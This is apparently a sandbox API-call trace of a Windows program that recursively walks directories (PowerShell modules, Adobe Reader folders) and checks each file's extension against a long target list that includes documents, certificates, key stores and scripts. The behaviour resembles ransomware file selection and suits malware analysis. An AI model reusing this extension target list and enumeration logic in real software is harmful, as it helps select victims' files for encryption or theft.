	[0162.472] lstrlenW (lpString=".mrw") returned 4
	[0162.472] lstrcmpiW (lpString1=".mrw", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".msg") returned 4
	[0162.472] lstrcmpiW (lpString1=".msg", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".mxl") returned 4
	[0162.472] lstrcmpiW (lpString1=".mxl", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".myd") returned 4
	[0162.472] lstrcmpiW (lpString1=".myd", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".myi") returned 4
	[0162.472] lstrcmpiW (lpString1=".myi", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".nef") returned 4
	[0162.472] lstrcmpiW (lpString1=".nef", lpString2=".dll") returned 1
	[0162.472] lstrlenW (lpString=".nrw") returned 4
	[0162.472] lstrcmpiW (lpString1=".nrw", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".obj") returned 4
	[0162.473] lstrcmpiW (lpString1=".obj", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".odb") returned 4
	[0162.473] lstrcmpiW (lpString1=".odb", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".odc") returned 4
	[0162.473] lstrcmpiW (lpString1=".odc", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".odm") returned 4
	[0162.473] lstrcmpiW (lpString1=".odm", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".odp") returned 4
	[0162.473] lstrcmpiW (lpString1=".odp", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".ods") returned 4
	[0162.473] lstrcmpiW (lpString1=".ods", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".oft") returned 4
	[0162.473] lstrcmpiW (lpString1=".oft", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".one") returned 4
	[0162.473] lstrcmpiW (lpString1=".one", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".onepkg") returned 7
	[0162.473] lstrcmpiW (lpString1=".onepkg", lpString2="ces.dll") returned -1
	[0162.473] lstrlenW (lpString=".onetoc2") returned 8
	[0162.473] lstrcmpiW (lpString1=".onetoc2", lpString2="rces.dll") returned -1
	[0162.473] lstrlenW (lpString=".opt") returned 4
	[0162.473] lstrcmpiW (lpString1=".opt", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".oqy") returned 4
	[0162.473] lstrcmpiW (lpString1=".oqy", lpString2=".dll") returned 1
	[0162.473] lstrlenW (lpString=".orf") returned 4
	[0162.474] lstrcmpiW (lpString1=".orf", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".p12") returned 4
	[0162.474] lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".p7b") returned 4
	[0162.474] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".p7c") returned 4
	[0162.474] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pam") returned 4
	[0162.474] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pbm") returned 4
	[0162.474] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pct") returned 4
	[0162.474] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pcx") returned 4
	[0162.474] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pdd") returned 4
	[0162.474] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pdf") returned 4
	[0162.474] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pdp") returned 4
	[0162.474] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pef") returned 4
	[0162.474] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pem") returned 4
	[0162.474] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1
	[0162.474] lstrlenW (lpString=".pff") returned 4
	[0162.474] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".pfm") returned 4
	[0162.475] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".pfx") returned 4
	[0162.475] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".pgm") returned 4
	[0162.475] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".php") returned 4
	[0162.475] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".php3") returned 5
	[0162.475] lstrcmpiW (lpString1=".php3", lpString2="s.dll") returned -1
	[0162.475] lstrlenW (lpString=".php4") returned 5
	[0162.475] lstrcmpiW (lpString1=".php4", lpString2="s.dll") returned -1
	[0162.475] lstrlenW (lpString=".php5") returned 5
	[0162.475] lstrcmpiW (lpString1=".php5", lpString2="s.dll") returned -1
	[0162.475] lstrlenW (lpString=".phtml") returned 6
	[0162.475] lstrcmpiW (lpString1=".phtml", lpString2="es.dll") returned -1
	[0162.475] lstrlenW (lpString=".pict") returned 5
	[0162.475] lstrcmpiW (lpString1=".pict", lpString2="s.dll") returned -1
	[0162.475] lstrlenW (lpString=".pl") returned 3
	[0162.475] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1
	[0162.475] lstrlenW (lpString=".pls") returned 4
	[0162.475] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1
	[0162.475] lstrlenW (lpString=".pm") returned 3
	[0162.475] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1
	[0162.476] lstrlenW (lpString=".png") returned 4
	[0162.476] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".pnm") returned 4
	[0162.476] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".pot") returned 4
	[0162.476] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".potm") returned 5
	[0162.476] lstrcmpiW (lpString1=".potm", lpString2="s.dll") returned -1
	[0162.476] lstrlenW (lpString=".potx") returned 5
	[0162.476] lstrcmpiW (lpString1=".potx", lpString2="s.dll") returned -1
	[0162.476] lstrlenW (lpString=".ppa") returned 4
	[0162.476] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".ppam") returned 5
	[0162.476] lstrcmpiW (lpString1=".ppam", lpString2="s.dll") returned -1
	[0162.476] lstrlenW (lpString=".ppm") returned 4
	[0162.476] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".pps") returned 4
	[0162.476] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".ppsm") returned 5
	[0162.476] lstrcmpiW (lpString1=".ppsm", lpString2="s.dll") returned -1
	[0162.476] lstrlenW (lpString=".ppt") returned 4
	[0162.476] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0162.476] lstrlenW (lpString=".pptm") returned 5
	[0162.477] lstrcmpiW (lpString1=".pptm", lpString2="s.dll") returned -1
	[0162.477] lstrlenW (lpString=".pptx") returned 5
	[0162.477] lstrcmpiW (lpString1=".pptx", lpString2="s.dll") returned -1
	[0162.477] lstrlenW (lpString=".prn") returned 4
	[0162.477] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".ps") returned 3
	[0162.477] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1
	[0162.477] lstrlenW (lpString=".psb") returned 4
	[0162.477] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".psd") returned 4
	[0162.477] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".pst") returned 4
	[0162.477] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".ptx") returned 4
	[0162.477] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".pub") returned 4
	[0162.477] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".pwm") returned 4
	[0162.477] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".pxr") returned 4
	[0162.477] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1
	[0162.477] lstrlenW (lpString=".py") returned 3
	[0162.477] lstrcmpiW (lpString1=".py", lpString2="dll") returned -1
	[0162.477] lstrlenW (lpString=".qt") returned 3
	[0162.477] lstrcmpiW (lpString1=".qt", lpString2="dll") returned -1
	[0162.477] lstrlenW (lpString=".r3d") returned 4
	[0162.477] lstrcmpiW (lpString1=".r3d", lpString2=".dll") returned 1
	[0162.478] lstrlenW (lpString=".raf") returned 4
	[0162.478] lstrcmpiW (lpString1=".raf", lpString2=".dll") returned 1
	[0162.478] lstrlenW (lpString=".rar") returned 4
	[0162.478] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0162.478] lstrlenW (lpString=".raw") returned 4
	[0162.478] lstrcmpiW (lpString1=".raw", lpString2=".dll") returned 1
	[0162.478] FindNextFileW (in: hFindFile=0x5dde80, lpFindFileData=0x2fbee10 | out: lpFindFileData=0x2fbee10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x884e2a3c, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x884e2a3c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.PSReadline.Resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 0
	[0162.478] FindClose (in: hFindFile=0x5dde80 | out: hFindFile=0x5dde80) returned 1
	[0162.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45c4058 | out: hHeap=0x4f0000) returned 1
	[0162.478] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x34e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.PSReadline.dll", cAlternateFileName="MICROS~1.DLL")) returned 1
	[0162.478] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psd1", cAlternateFileName="PSREAD~1.PSD")) returned 1
	[0162.479] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 1
	[0162.479] FindNextFileW (in: hFindFile=0x5dde40, lpFindFileData=0x2fbf08c | out: lpFindFileData=0x2fbf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a64f261, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5dec600, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5dec600, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline.psm1", cAlternateFileName="PSREAD~1.PSM")) returned 0
	[0162.479] FindClose (in: hFindFile=0x5dde40 | out: hFindFile=0x5dde40) returned 1
	[0162.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45b4050 | out: hHeap=0x4f0000) returned 1
	[0162.479] FindNextFileW (in: hFindFile=0x5dde00, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb54d73e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.2", cAlternateFileName="")) returned 0
	[0162.479] FindClose (in: hFindFile=0x5dde00 | out: hFindFile=0x5dde00) returned 1
	[0162.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4570080 | out: hHeap=0x4f0000) returned 1
	[0162.479] FindNextFileW (in: hFindFile=0x5dd800, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 0
	[0162.479] FindClose (in: hFindFile=0x5dd800 | out: hFindFile=0x5dd800) returned 1
	[0162.479] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x45816f8 | out: hHeap=0x4f0000) returned 1
	[0162.481] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 0
	[0162.481] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0162.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38c0e18 | out: hHeap=0x4f0000) returned 1
	[0162.481] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb502b1c0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 0
	[0162.862] FindClose (in: hFindFile=0x5dd0c0 | out: hFindFile=0x5dd0c0) returned 1
	[0162.862] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x38a0e08 | out: hHeap=0x4f0000) returned 1
	[0162.862] FindNextFileW (in: hFindFile=0x509260, lpFindFileData=0x2fbfcf8 | out: lpFindFileData=0x2fbfcf8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0162.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x38a0e08
	[0162.862] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*", lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x5dd0c0
	[0162.862] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7511354, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xe7511354, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.862] FindNextFileW (in: hFindFile=0x5dd0c0, lpFindFileData=0x2fbfa7c | out: lpFindFileData=0x2fbfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0162.862] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x460efa8
	[0162.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\*", lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd1c0
	[0162.863] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x82e06fe2, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x82e06fe2, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.863] FindNextFileW (in: hFindFile=0x5dd1c0, lpFindFileData=0x2fbf800 | out: lpFindFileData=0x2fbf800*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat Reader DC", cAlternateFileName="ACROBA~1")) returned 1
	[0162.863] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x461efb0
	[0162.863] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\*", lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x5dd240
	[0162.863] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0162.864] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Esl", cAlternateFileName="")) returned 1
	[0162.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.864] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Esl\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0162.864] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdec183d6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xdec183d6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.864] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 1
	[0162.864] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdec183d6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x4f1f0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AiodLite.dll", cAlternateFileName="")) returned 0
	[0162.864] FindClose (in: hFindFile=0x5dd440 | out: hFindFile=0x5dd440) returned 1
	[0162.864] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x462efb8 | out: hHeap=0x4f0000) returned 1
	[0162.864] FindNextFileW (in: hFindFile=0x5dd240, lpFindFileData=0x2fbf584 | out: lpFindFileData=0x2fbf584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Reader", cAlternateFileName="")) returned 1
	[0162.864] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x462efb8
	[0162.865] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\*", lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5dd440
	[0162.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33b7f536, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2d82cf7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0162.865] FindNextFileW (in: hFindFile=0x5dd440, lpFindFileData=0x2fbf308 | out: lpFindFileData=0x2fbf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191cc8f5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x2d9d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="1494870C-9912-C184-4CC9-B401-A53F4D8DE290.pdf", cAlternateFileName="149487~1.PDF")) returned 1
